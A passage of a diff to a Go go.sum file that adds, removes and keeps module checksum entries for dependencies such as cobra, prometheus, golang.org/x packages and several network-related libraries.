-github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= +github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA= +github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/projectdiscovery/cdncheck v0.0.3 h1:li2/rUJmhVXSqRFyhJMqi6pdBX6ZxMnwzBfE0Kifj/g= github.com/projectdiscovery/cdncheck v0.0.3/go.mod h1:EevMeCG1ogBoUJYaa0Mv9R1VUboDm/DiynId7DboKy0= -github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= -github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= -github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= -github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= -github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= -github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= -github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= -github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= -github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= -github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= -github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/sagikazarmark/crypt v0.3.0/go.mod h1:uD/D+6UF4SrIR1uGEv7bBNkNqLGqUr43MRiaGWX1Nig= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= -github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= -github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk= -github.com/shurcooL/httpfs v0.0.0-20190707220628-8d4bc4ba7749/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg= -github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= -github.com/shurcooL/vfsgen v0.0.0-20200824052919-0d455de96546/go.mod h1:TrYk7fJVaAttu97ZZKrO9UbRa8izdowaMIZcxYMbVaw= -github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= -github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= -github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= -github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= -github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= -github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= -github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= -github.com/spf13/afero v1.3.3/go.mod h1:5KUK8ByomD5Ti5Artl0RtHeI5pTF7MIDuXL3yY520V4= -github.com/spf13/afero v1.6.0/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= -github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= -github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= -github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo= -github.com/spf13/cobra v1.3.0 h1:R7cSvGu+Vv+qX0gW5R/85dx2kmmJT5z5NM8ifdYjdn0= -github.com/spf13/cobra v1.3.0/go.mod h1:BrRVncBjOJa/eUcVVm9CE+oC6as8k+VYr4NY7WCi9V4= -github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= -github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= -github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/cobra v1.4.0 h1:y+wJpx64xcgO1V+RcnwW0LEHxTKRi2ZDPSBjWnrg88Q= +github.com/spf13/cobra v1.4.0/go.mod h1:Wo4iy3BUC+X2Fybo0PDqwJIv3dNRiZLHQymsfxlB84g= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg= -github.com/spf13/viper v1.10.0/go.mod h1:SoyBPwAtKDzypXNDFKN5kzH7ppppbGZtls1UpIy5AsM= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= -github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= -github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= -github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= -github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= -github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 h1:QldyIu/L63oPpyvQmHgvgickp1Yw510KJOqX7H24mg8= +github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778/go.mod h1:2MuV+tbUrU1zIOPMxZ5EncGwgmMJsa+9ucAQZXxsObs= github.com/yl2chen/cidranger v1.0.2 h1:lbOWZVCG1tCRX4u24kuM1Tb4nHqWkDxwLdoS+SevawU= github.com/yl2chen/cidranger v1.0.2/go.mod h1:9U1yz7WPYDwf0vpNWFaeRh0bjwz5RVgRy/9UEQfHl0g= -github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ= +github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18= +github.com/ysmood/got v0.29.5 h1:+wMnm8UjoyYFMfeAsr57a1bahWTkloysc0Hxsu2gmnM= +github.com/ysmood/got v0.29.5/go.mod h1:pE1l4LOwOBhQg6A/8IAatkGp7uZjnalzrZolnlhhMgY= +github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY= +github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM= +github.com/ysmood/gson v0.7.1 h1:zKL2MTGtynxdBdlZjyGsvEOZ7dkxaY5TH6QhAbTgz0Q= +github.com/ysmood/gson v0.7.1/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg= +github.com/ysmood/leakless v0.7.0 h1:XCGdaPExyoreoQd+H5qgxM3ReNbSPFsEXpSKwbXbwQw= +github.com/ysmood/leakless v0.7.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/etcd/api/v3 v3.5.1/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= -go.etcd.io/etcd/client/pkg/v3 v3.5.1/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= -go.etcd.io/etcd/client/v2 v2.305.1/go.mod h1:pMEacxZW7o8pg4CrFE7pquyCJJzZvkvdD2RibOCCCGs= -go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= -go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= -go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= -go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= -go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= -go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= -go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= -go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= -go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= -go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= -go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201112155050-0c6587e931a9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= -golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8= -golang.org/x/crypto v0.0.0-20210817164053-32db794688a5/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 h1:0es+/5331RGQPcXlMfP+WrnIIS6dNnNRe0WB02W0F4M= golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= -golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= -golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= -golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= -golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= -golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= -golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= -golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= -golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= -golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= -golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= -golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= -golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= -golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= -golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= -golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= -golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= -golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod 